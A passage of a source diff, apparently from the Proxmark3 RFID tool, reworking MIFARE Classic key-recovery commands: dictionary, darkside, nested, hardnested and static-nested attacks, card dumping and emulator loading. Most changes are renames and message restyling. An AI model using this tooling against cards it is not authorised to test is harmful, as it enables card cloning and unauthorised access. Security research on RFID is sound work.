PrintAndLogEx(FAILED, "\nNo tag detected or other tag communication error (%i)", prng_type); free(e_sector); free(fptr); return PM3_ESOFT; } + + if (known_key) { + has_staticnonce = detect_classic_static_encrypted_nonce(loopupblk, keytype, key); + } else { + has_staticnonce = detect_classic_static_encrypted_nonce(0, MF_KEY_A, g_mifare_default_key); + } } // print parameters if (verbose) { - PrintAndLogEx(INFO, "======================= " _YELLOW_("SETTINGS") " ======================="); - PrintAndLogEx(INFO, " card sectors .. " _YELLOW_("%d"), sector_cnt); - PrintAndLogEx(INFO, " key supplied .. " _YELLOW_("%s"), known_key ? "True" : "False"); - PrintAndLogEx(INFO, " known sector .. " _YELLOW_("%d"), sectorno); - PrintAndLogEx(INFO, " keytype ....... " _YELLOW_("%c"), (keytype == MF_KEY_B) ? 'B' : 'A'); - PrintAndLogEx(INFO, " known key ..... " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key))); + PrintAndLogEx(INFO, "---- " _CYAN_("Command settings") " ------------------------------------------"); + PrintAndLogEx(INFO, "Card sectors... " _YELLOW_("%d"), sector_cnt); + PrintAndLogEx(INFO, "Key supplied... " _YELLOW_("%s"), known_key ? "yes" : "no"); + PrintAndLogEx(INFO, "Known sector... " _YELLOW_("%d"), sectorno); + PrintAndLogEx(INFO, "Key type....... " _YELLOW_("%c"), (keytype == MF_KEY_B) ? 'B' : 'A'); + PrintAndLogEx(INFO, "Known key...... " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key))); - if (has_staticnonce == NONCE_STATIC) - PrintAndLogEx(INFO, " card PRNG ..... " _YELLOW_("STATIC")); - else if (has_staticnonce == NONCE_NORMAL) - PrintAndLogEx(INFO, " card PRNG ..... " _YELLOW_("%s"), prng_type ? "WEAK" : "HARD"); - else - PrintAndLogEx(INFO, " card PRNG ..... " _YELLOW_("Could not determine PRNG,") " " _RED_("read failed.")); + switch (has_staticnonce) { + case NONCE_STATIC: { + PrintAndLogEx(INFO, "Card PRNG ..... " _YELLOW_("STATIC")); + break; + } + case NONCE_STATIC_ENC: { + PrintAndLogEx(INFO, "Card PRNG ..... " _RED_("STATIC ENCRYPTED")); + break; + } + case NONCE_NORMAL: { + PrintAndLogEx(INFO, "Card PRNG ..... %s", (prng_type) ? "weak" : "hard"); + break; + } + default: { + PrintAndLogEx(INFO, "Card PRNG ..... " _YELLOW_("Could not determine PRNG") " ( " _RED_("read failed") " ) %i", has_staticnonce); + break; + } + } - PrintAndLogEx(INFO, " dictionary .... " _YELLOW_("%s"), strlen(filename) ? filename : "NONE"); - PrintAndLogEx(INFO, " legacy mode ... " _YELLOW_("%s"), legacy_mfchk ? "True" : "False"); + PrintAndLogEx(INFO, "Dictionary .... " _YELLOW_("%s"), strlen(filename) ? filename : "n/a"); + PrintAndLogEx(INFO, "Legacy mode ... %s", (legacy_mfchk) ? _YELLOW_("yes") : "no"); - PrintAndLogEx(INFO, "========================================================================"); + PrintAndLogEx(INFO, "----------------------------------------------------------------"); } // check the user supplied key if (known_key == false) { - PrintAndLogEx(WARNING, "no known key was supplied, key recovery might fail"); + PrintAndLogEx(WARNING, "No known key was supplied, key recovery might fail"); } // Start the timer uint64_t t1 = msclock(); + // If we use the dictionary in flash memory, we don't want to load keys + // from hard drive dictionary as it could exceed BigBuf capacity + if (use_flashmemory) { + fnlen = 0; + } + int ret = mf_load_keys(&keyBlock, &key_cnt, in_keys, in_keys_len, filename, fnlen, true); if (ret != PM3_SUCCESS) { free(e_sector); return ret; } - int32_t res = PM3_SUCCESS; + res = PM3_SUCCESS; // Use the dictionary to find sector keys on the card - if (verbose) PrintAndLogEx(INFO, "======================= " _YELLOW_("START DICTIONARY ATTACK") " ======================="); + if (verbose) { + PrintAndLogEx(INFO, "--- " _CYAN_("Enter dictionary recovery mode") " -----------------------------"); + } if (legacy_mfchk) { PrintAndLogEx(INFO, "." NOLF); @@ -2803,7 +3298,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { PrintAndLogEx(NORMAL, "." NOLF); fflush(stdout); - if (mfCheckKeys(mfFirstBlockOfSector(i), j, true, 1, (keyBlock + (MIFARE_KEY_SIZE * k)), &key64) == PM3_SUCCESS) { + if (mf_check_keys(mfFirstBlockOfSector(i), j, true, 1, (keyBlock + (MIFARE_KEY_SIZE * k)), &key64) == PM3_SUCCESS) { e_sector[i].Key[j] = bytes_to_num((keyBlock + (MIFARE_KEY_SIZE * k)), MIFARE_KEY_SIZE); e_sector[i].foundKey[j] = 'D'; break; @@ -2815,46 +3310,54 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { PrintAndLogEx(NORMAL, ""); } else { - uint32_t chunksize = key_cnt > (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) ? (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) : key_cnt; - bool firstChunk = true, lastChunk = false; + if (use_flashmemory) { + PrintAndLogEx(SUCCESS, "Using dictionary in flash memory"); + res = mf_check_keys_fast(sector_cnt, true, true, 1, key_cnt, keyBlock, e_sector, use_flashmemory, verbose); + } else { - for (uint8_t strategy = 1; strategy < 3; strategy++) { - PrintAndLogEx(INFO, "running strategy %u", strategy); - // main keychunk loop - for (uint32_t i = 0; i < key_cnt; i += chunksize) { + uint32_t chunksize = key_cnt > (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) ? (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) : key_cnt; + bool firstChunk = true, lastChunk = false; - if (kbd_enter_pressed()) { - PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); - i = key_cnt; - strategy = 3; - break; // Exit the loop - } - uint32_t size = ((key_cnt - i) > chunksize) ? chunksize : key_cnt - i; - // last chunk? - if (size == key_cnt - i) { - lastChunk = true; - } + for (uint8_t strategy = 1; strategy < 3; strategy++) { + PrintAndLogEx(INFO, "Running strategy %u", strategy); + // main keychunk loop + for (uint32_t i = 0; i < key_cnt; i += chunksize) { - res = mfCheckKeys_fast(sector_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, verbose); - if (firstChunk) { - firstChunk = false; - } - // all keys, aborted - if (res == PM3_SUCCESS) { - i = key_cnt; - strategy = 3; - break; // Exit the loop - } - } // end chunks of keys - firstChunk = true; - lastChunk = false; - } // end strategy + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); + i = key_cnt; + strategy = 3; + break; // Exit the loop + } + + uint32_t size = ((key_cnt - i) > chunksize) ? chunksize : key_cnt - i; + // last chunk? + if (size == key_cnt - i) { + lastChunk = true; + } + + res = mf_check_keys_fast(sector_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, verbose); + if (firstChunk) { + firstChunk = false; + } + // all keys, aborted + if (res == PM3_SUCCESS) { + i = key_cnt; + strategy = 3; + break; // Exit the loop + } + } // end chunks of keys + firstChunk = true; + lastChunk = false; + } // end strategy + } } // Analyse the dictionary attack uint8_t num_found_keys = 0; for (int i = 0; i < sector_cnt; i++) { for (int j = MF_KEY_A; j <= MF_KEY_B; j++) { + if (e_sector[i].foundKey[j] != 1) { continue; } @@ -2870,13 +3373,13 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { known_key = true; sectorno = i; keytype = j; - PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%s") " ] (used for nested / hardnested attack)", + PrintAndLogEx(SUCCESS, "Target sector " _GREEN_("%3u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ] (used for nested / hardnested attack)", i, (j == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(tmp_key, sizeof(tmp_key)) ); } else { - PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%s") " ]", + PrintAndLogEx(SUCCESS, "Target sector " _GREEN_("%3u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", i, (j == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(tmp_key, sizeof(tmp_key)) @@ -2895,23 +3398,24 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { // Check if the darkside attack can be used if (prng_type && has_staticnonce != NONCE_STATIC) { if (verbose) { - PrintAndLogEx(INFO, "======================= " _YELLOW_("START DARKSIDE ATTACK") " ======================="); + PrintAndLogEx(INFO, "--- " _CYAN_("Enter darkside key recovery mode") " ---------------------------------"); } PrintAndLogEx(NORMAL, ""); - isOK = mfDarkside(mfFirstBlockOfSector(sectorno), MIFARE_AUTH_KEYA + keytype, &key64); + isOK = mf_dark_side(mfFirstBlockOfSector(sectorno), MIFARE_AUTH_KEYA + keytype, &key64); - if (isOK != PM3_SUCCESS) + if (isOK != PM3_SUCCESS) { goto noValidKeyFound; + } - PrintAndLogEx(SUCCESS, "Found valid key [ " _GREEN_("%012" PRIx64) " ]\n", key64); + PrintAndLogEx(SUCCESS, "Found valid key [ " _GREEN_("%012" PRIX64) " ]\n", key64); // Store the keys num_to_bytes(key64, MIFARE_KEY_SIZE, key); e_sector[sectorno].Key[keytype] = key64; e_sector[sectorno].foundKey[keytype] = 'S'; - PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%012" PRIx64) " ] (used for nested / hardnested attack)", + PrintAndLogEx(SUCCESS, "Target sector " _GREEN_("%3u") " key type "_GREEN_("%c") " -- found valid key [ " _GREEN_("%012" PRIX64) " ] (used for nested / hardnested attack)", sectorno, (keytype == MF_KEY_B) ? 'B' : 'A', key64 @@ -2920,6 +3424,16 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { noValidKeyFound: PrintAndLogEx(FAILED, "No usable key was found!"); + if (use_flashmemory == false && fnlen == 0) { + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mf autopwn -f mfc_default_keys")"` i.e. the Randy special"); + } + + if (has_staticnonce == NONCE_STATIC_ENC) { + PrintAndLogEx(ERR, "Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); + } + + DropField(); free(keyBlock); free(e_sector); free(fptr); @@ -2940,24 +3454,26 @@ noValidKeyFound: // If the key is already known, just skip it if (e_sector[current_sector_i].foundKey[current_key_type_i] == 0) { - if (has_staticnonce == NONCE_STATIC) + if (has_staticnonce == NONCE_STATIC) { goto tryStaticnested; + } // Try the found keys are reused if (bytes_to_num(tmp_key, MIFARE_KEY_SIZE) != 0) { - // The fast check --> mfCheckKeys_fast(sector_cnt, true, true, 2, 1, tmp_key, e_sector, false, verbose); + // The fast check --> mf_check_keys_fast(sector_cnt, true, true, 2, 1, tmp_key, e_sector, false, verbose); // Returns false keys, so we just stick to the slower mfchk. for (int i = 0; i < sector_cnt; i++) { for (int j = MF_KEY_A; j <= MF_KEY_B; j++) { // Check if the sector key is already broken - if (e_sector[i].foundKey[j]) + if (e_sector[i].foundKey[j]) { continue; + } // Check if the key works - if (mfCheckKeys(mfFirstBlockOfSector(i), j, true, 1, tmp_key, &key64) == PM3_SUCCESS) { + if (mf_check_keys(mfFirstBlockOfSector(i), j, true, 1, tmp_key, &key64) == PM3_SUCCESS) { e_sector[i].Key[j] = bytes_to_num(tmp_key, MIFARE_KEY_SIZE); e_sector[i].foundKey[j] = 'R'; - PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%s") " ]", + PrintAndLogEx(SUCCESS, "Target sector " _GREEN_("%3u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", i, (j == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(tmp_key, sizeof(tmp_key)) @@ -2972,7 +3488,7 @@ noValidKeyFound: if (current_key_type_i == MF_KEY_B) { if (e_sector[current_sector_i].foundKey[0] && !e_sector[current_sector_i].foundKey[1]) { if (verbose) { - PrintAndLogEx(INFO, "======================= " _YELLOW_("START READ B KEY ATTACK") " ======================="); + PrintAndLogEx(INFO, "--- " _CYAN_("Enter read B key recovery mode") " -----------------------"); PrintAndLogEx(INFO, "reading B key of sector %3d with key type %c", current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); @@ -2988,24 +3504,29 @@ noValidKeyFound: clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); - if (WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500) == false) goto skipReadBKey; + if (WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500) == false) { + goto skipReadBKey; + } - if (resp.status != PM3_SUCCESS) goto skipReadBKey; + if (resp.status != PM3_SUCCESS) { + goto skipReadBKey; + } uint8_t *data = resp.data.asBytes; key64 = bytes_to_num(data + 10, MIFARE_KEY_SIZE); + if (key64) { e_sector[current_sector_i].foundKey[current_key_type_i] = 'A'; e_sector[current_sector_i].Key[current_key_type_i] = key64; num_to_bytes(key64, MIFARE_KEY_SIZE, tmp_key); - PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%s") " ]", + PrintAndLogEx(SUCCESS, "Target sector " _GREEN_("%3u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(tmp_key, sizeof(tmp_key)) ); } else { if (verbose) { - PrintAndLogEx(WARNING, "unknown B key: sector: %3d key type: %c", + PrintAndLogEx(WARNING, "Unknown B key: sector %3d key type %c", current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A' ); @@ -3021,19 +3542,22 @@ noValidKeyFound: skipReadBKey: if (e_sector[current_sector_i].foundKey[current_key_type_i] == 0) { - if (has_staticnonce == NONCE_STATIC) + if (has_staticnonce == NONCE_STATIC) { goto tryStaticnested; + } if (prng_type && (nested_failed == false)) { uint8_t retries = 0; + + PrintAndLogEx(NORMAL, ""); if (verbose) { - PrintAndLogEx(INFO, "======================= " _YELLOW_("START NESTED ATTACK") " ======================="); - PrintAndLogEx(INFO, "sector no %3d, target key type %c", + PrintAndLogEx(INFO, "--- " _CYAN_("Enter nested key recovery mode") " -----------------------------"); + PrintAndLogEx(INFO, "Sector " _YELLOW_("%3d") " key type " _YELLOW_("%c"), current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } tryNested: - isOK = mfnested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key, calibrate); + isOK = mf_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key, calibrate); switch (isOK) { case PM3_ETIMEOUT: { @@ -3068,13 +3592,12 @@ tryNested: break; } case PM3_ESTATIC_NONCE: { - PrintAndLogEx(ERR, "Error: Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(ERR, "Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); e_sector[current_sector_i].Key[current_key_type_i] = 0xffffffffffff; e_sector[current_sector_i].foundKey[current_key_type_i] = false; // Show the results to the user - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); printKeyTable(sector_cnt, e_sector); PrintAndLogEx(NORMAL, ""); free(e_sector); @@ -3088,7 +3611,7 @@ tryNested: break; } default: { - PrintAndLogEx(ERR, "unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error\n"); free(e_sector); free(fptr); return isOK; @@ -3097,9 +3620,22 @@ tryNested: } else { tryHardnested: // If the nested attack fails then we try the hardnested attack + + // skip this + if (isMifarePlus) { + + // Show the results to the user + printKeyTable(sector_cnt, e_sector); + PrintAndLogEx(NORMAL, ""); + free(e_sector); + free(fptr); + return PM3_ESOFT; + } + + PrintAndLogEx(NORMAL, ""); if (verbose) { - PrintAndLogEx(INFO, "======================= " _YELLOW_("START HARDNESTED ATTACK") " ======================="); - PrintAndLogEx(INFO, "sector no %3d, target key type %c, Slow %s", + PrintAndLogEx(INFO, "--- " _CYAN_("Enter hardnested key recovery mode") " -------------------------"); + PrintAndLogEx(INFO, "Sector " _YELLOW_("%3d") " key type " _YELLOW_("%c") ", slow " _YELLOW_("%s"), current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A', slow ? "Yes" : "No"); @@ -3125,8 +3661,6 @@ tryHardnested: // If the nested attack fails then we try the hardnested attack e_sector[current_sector_i].foundKey[current_key_type_i] = false; // Show the results to the user - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); printKeyTable(sector_cnt, e_sector); PrintAndLogEx(NORMAL, ""); break; @@ -3152,14 +3686,15 @@ tryHardnested: // If the nested attack fails then we try the hardnested attack if (has_staticnonce == NONCE_STATIC) { tryStaticnested: + PrintAndLogEx(NORMAL, ""); if (verbose) { - PrintAndLogEx(INFO, "======================= " _YELLOW_("START STATIC NESTED ATTACK") " ======================="); - PrintAndLogEx(INFO, "sector no %3d, target key type %c", + PrintAndLogEx(INFO, "--- " _CYAN_("Enter static nested key recovery mode") " -----------------------"); + PrintAndLogEx(INFO, "Sector " _YELLOW_("%3d") ", key type " _YELLOW_("%c"), current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A'); } - isOK = mfStaticNested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key); + isOK = mf_static_nested(mfFirstBlockOfSector(sectorno), keytype, key, mfFirstBlockOfSector(current_sector_i), current_key_type_i, tmp_key); DropField(); switch (isOK) { case PM3_ETIMEOUT: { @@ -3187,7 +3722,7 @@ tryStaticnested: // Check if the key was found if (e_sector[current_sector_i].foundKey[current_key_type_i]) { - PrintAndLogEx(SUCCESS, "target sector %3u key type %c -- found valid key [ " _GREEN_("%s") " ]", + PrintAndLogEx(SUCCESS, "Target sector " _GREEN_("%3u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", current_sector_i, (current_key_type_i == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(tmp_key, sizeof(tmp_key)) @@ -3201,9 +3736,6 @@ tryStaticnested: all_found: // Show the results to the user - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); - printKeyTable(sector_cnt, e_sector); if (no_save == false) { @@ -3219,21 +3751,26 @@ all_found: clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_EML_MEMCLR, NULL, 0); - PrintAndLogEx(INFO, "transferring keys to simulator memory " NOLF); + PrintAndLogEx(INFO, "Transferring keys to simulator memory " NOLF); bool transfer_status = true; for (current_sector_i = 0; current_sector_i < sector_cnt; current_sector_i++) { - mfEmlGetMem(block, current_sector_i, 1); - if (e_sector[current_sector_i].foundKey[0]) - num_to_bytes(e_sector[current_sector_i].Key[0], MIFARE_KEY_SIZE, block); - if (e_sector[current_sector_i].foundKey[1]) - num_to_bytes(e_sector[current_sector_i].Key[1], MIFARE_KEY_SIZE, block + 10); - transfer_status |= mfEmlSetMem(block, mfFirstBlockOfSector(current_sector_i) + mfNumBlocksPerSector(current_sector_i) - 1, 1); + mf_eml_get_mem(block, current_sector_i, 1); + + if (e_sector[current_sector_i].foundKey[0]) { + num_to_bytes(e_sector[current_sector_i].Key[0], MIFARE_KEY_SIZE, block); + } + + if (e_sector[current_sector_i].foundKey[1]) { + num_to_bytes(e_sector[current_sector_i].Key[1], MIFARE_KEY_SIZE, block + 10); + } + + transfer_status |= mf_elm_set_mem(block, mfFirstBlockOfSector(current_sector_i) + mfNumBlocksPerSector(current_sector_i) - 1, 1); } PrintAndLogEx(NORMAL, "( %s )", (transfer_status) ? _GREEN_("ok") : _RED_("fail")); - PrintAndLogEx(INFO, "dumping card content to emulator memory (Cmd Error: 04 can occur)"); + PrintAndLogEx(INFO, "Dumping card content to emulator memory (Cmd Error: 04 can occur)"); // use ecfill trick FastDumpWithEcFill(sector_cnt); @@ -3247,7 +3784,7 @@ all_found: bytes = block_cnt * MFBLOCK_SIZE; uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(ERR, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(e_sector); free(fptr); return PM3_EMALLOC; @@ -3263,7 +3800,14 @@ all_found: } free(fptr); - fptr = GenerateFilename("hf-mf-", "-dump"); + + if (outfnlen) { + snprintf(suffix, sizeof(suffix), "-dump-%s", outfilename); + } else { + snprintf(suffix, sizeof(suffix), "-dump"); + } + + fptr = GenerateFilename("hf-mf-", suffix); if (fptr == NULL) { free(dump); free(e_sector); @@ -3271,17 +3815,18 @@ all_found: return PM3_ESOFT; } - strncpy(filename, fptr, sizeof(filename) - 1); + strncpy(outfilename, fptr, sizeof(outfilename) - 1); free(fptr); - pm3_save_mf_dump(filename, dump, bytes, jsfCardMemory); + pm3_save_mf_dump(outfilename, dump, bytes, jsfCardMemory); free(dump); out: // Generate and show statistics t1 = msclock() - t1; - PrintAndLogEx(INFO, "autopwn execution time: " _YELLOW_("%.0f") " seconds", (float)t1 / 1000.0); + PrintAndLogEx(INFO, "Autopwn execution time: " _YELLOW_("%.0f") " seconds", (float)t1 / 1000.0); + DropField(); free(e_sector); return PM3_SUCCESS; } @@ -3373,6 +3918,11 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { uint8_t *keyBlock = NULL; uint32_t keycnt = 0; + // If we use the dictionary in flash memory, we don't want to load keys + // from hard drive dictionary as it could exceed BigBuf capacity + if (use_flashmemory) { + fnlen = 0; + } int ret = mf_load_keys(&keyBlock, &keycnt, key, keylen, filename, fnlen, load_default); if (ret != PM3_SUCCESS) { return ret; @@ -3385,7 +3935,7 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { return PM3_EMALLOC; } - uint32_t chunksize = keycnt > (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) ? (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) : keycnt; + uint32_t chunksize = (keycnt > (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE)) ? (PM3_CMD_DATA_SIZE / MIFARE_KEY_SIZE) : keycnt; bool firstChunk = true, lastChunk = false; int i = 0; @@ -3399,36 +3949,32 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { } if (use_flashmemory) { PrintAndLogEx(SUCCESS, "Using dictionary in flash memory"); - mfCheckKeys_fast_ex(sectorsCnt, true, true, 1, 0, keyBlock, e_sector, use_flashmemory, false, false, singleSectorParams); + mf_check_keys_fast_ex(sectorsCnt, true, true, 1, keycnt, keyBlock, e_sector, use_flashmemory, false, false, singleSectorParams); } else { // strategies. 1= deep first on sector 0 AB, 2= width first on all sectors for (uint8_t strategy = 1; strategy < 3; strategy++) { - PrintAndLogEx(INFO, "Running strategy %u", strategy); + PrintAndLogEx(INFO, "Running strategy " _YELLOW_("%u"), strategy); // main keychunk loop for (i = 0; i < keycnt; i += chunksize) { if (kbd_enter_pressed()) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); - // field is still ON if not on last chunk clearCommandBuffer(); - SendCommandNG(CMD_FPGA_MAJOR_MODE_OFF, NULL, 0); - // TODO: we're missing these cleanups on arm side, not sure if it's important... - // set_tracing(false); - // BigBuf_free(); - // BigBuf_Clear_ext(false); + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + SendCommandNG(CMD_FPGA_MAJOR_MODE_OFF, NULL, 0); // field is still ON if not on last chunk + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "\naborted via keyboard!"); goto out; } - PrintAndLogEx(INPLACE, "Testing %5i/%5i %02.1f%%", i, keycnt, (float)i * 100 / keycnt); + uint32_t size = ((keycnt - i) > chunksize) ? chunksize : keycnt - i; // last chunk? - if (size == keycnt - i) + if (size == keycnt - i) { lastChunk = true; - - int res = mfCheckKeys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, false, true, singleSectorParams); + } + int res = mf_check_keys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * MIFARE_KEY_SIZE), e_sector, false, false, true, singleSectorParams); if (firstChunk) firstChunk = false; @@ -3437,12 +3983,19 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { PrintAndLogEx(NORMAL, ""); goto out; } + PrintAndLogEx(INPLACE, "Testing %5i/%5i ( " _YELLOW_("%02.1f %%") " )", i, keycnt, (float)i * 100 / keycnt); } // end chunks of keys - PrintAndLogEx(INPLACE, "Testing %5i/%5i 100.00%%", keycnt, keycnt); + + PrintAndLogEx(INPLACE, "Testing %5i/%5i ( " _YELLOW_("100 %%") " ) ", keycnt, keycnt); PrintAndLogEx(NORMAL, ""); + + // reset chunks when swapping strategies firstChunk = true; lastChunk = false; - if (blockn != -1) break; + + if (blockn != -1) { + break; + } } // end strategy } out: @@ -3468,9 +4021,6 @@ out: PrintAndLogEx(WARNING, "No keys found"); } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); - printKeyTable(sectorsCnt, e_sector); if (use_flashmemory && found_keys == (sectorsCnt << 1)) { @@ -3486,7 +4036,7 @@ out: uint8_t block[MFBLOCK_SIZE] = {0x00}; for (i = 0; i < sectorsCnt; ++i) { uint8_t b = mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1; - mfEmlGetMem(block, b, 1); + mf_eml_get_mem(block, b, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, block); @@ -3498,7 +4048,7 @@ out: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(block, b, 1); + mf_elm_set_mem(block, b, 1); } PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); @@ -3632,6 +4182,7 @@ static int CmdHF14AMfSmartBrute(const char *Cmd) { break; } else if (ret == BF_GENERATOR_NEXT) { + generator_key = bf_get_key48(&bctx); num_to_bytes(generator_key, MIFARE_KEY_SIZE, keyBlock + (i * MIFARE_KEY_SIZE)); keycnt++; @@ -3641,10 +4192,11 @@ static int CmdHF14AMfSmartBrute(const char *Cmd) { smart_mode_stage = bctx.smart_mode_stage; PrintAndLogEx(INFO, "Running bruteforce stage %d", smart_mode_stage); - if (msclock() - t1 > 0 && keys_checked > 0) { + if (keys_checked) { PrintAndLogEx(INFO, "Current cracking speed (keys/s): %lu", - keys_checked / ((msclock() - t1) / 1000)); + keys_checked / ((msclock() - t1) / 1000) + ); t1 = msclock(); keys_checked = 0; @@ -3654,7 +4206,7 @@ static int CmdHF14AMfSmartBrute(const char *Cmd) { } int strategy = 2; // width first on all sectors - ret = mfCheckKeys_fast(sectorsCnt, firstChunk, lastChunk, strategy, keycnt, keyBlock, e_sector, false, false); + ret = mf_check_keys_fast(sectorsCnt, firstChunk, lastChunk, strategy, keycnt, keyBlock, e_sector, false, false); keys_checked += keycnt; total_keys_checked += keycnt; @@ -3687,9 +4239,6 @@ out: PrintAndLogEx(WARNING, "No keys found"); } else { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); - printKeyTable(sectorsCnt, e_sector); if (transferToEml) { @@ -3698,7 +4247,7 @@ out: uint8_t block[MFBLOCK_SIZE] = {0x00}; for (i = 0; i < sectorsCnt; ++i) { uint8_t b = mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1; - mfEmlGetMem(block, b, 1); + mf_eml_get_mem(block, b, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, block); @@ -3710,7 +4259,7 @@ out: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(block, b, 1); + mf_elm_set_mem(block, b, 1); } PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); @@ -3854,9 +4403,9 @@ static int CmdHF14AMfChk(const char *Cmd) { uint8_t *keyBlock = NULL; uint32_t keycnt = 0; - int ret = mf_load_keys(&keyBlock, &keycnt, key, keylen, filename, fnlen, load_default); - if (ret != PM3_SUCCESS) { - return ret; + int res = mf_load_keys(&keyBlock, &keycnt, key, keylen, filename, fnlen, load_default); + if (res != PM3_SUCCESS) { + return res; } uint64_t key64 = 0; @@ -3905,7 +4454,8 @@ static int CmdHF14AMfChk(const char *Cmd) { uint32_t size = keycnt - c > max_keys ? max_keys : keycnt - c; - if (mfCheckKeys(b, trgKeyType, clearLog, size, &keyBlock[MIFARE_KEY_SIZE * c], &key64) == PM3_SUCCESS) { + res = mf_check_keys(b, trgKeyType, clearLog, size, &keyBlock[MIFARE_KEY_SIZE * c], &key64); + if (res == PM3_SUCCESS) { e_sector[i].Key[trgKeyType] = key64; e_sector[i].foundKey[trgKeyType] = true; clearLog = false; @@ -3913,18 +4463,21 @@ static int CmdHF14AMfChk(const char *Cmd) { } clearLog = false; } - if (singleSector) + + if (singleSector) { break; + } b < 127 ? (b += 4) : (b += 16); } } + t1 = msclock() - t1; - PrintAndLogEx(INFO, "\ntime in checkkeys " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(INFO, "\nTime in checkkeys " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? if (keyType != MF_KEY_B) { - PrintAndLogEx(INFO, "testing to read key B..."); + PrintAndLogEx(INFO, "Testing to read key B..."); // loop sectors but block is used as to keep track of from which blocks to test int b = blockNo; @@ 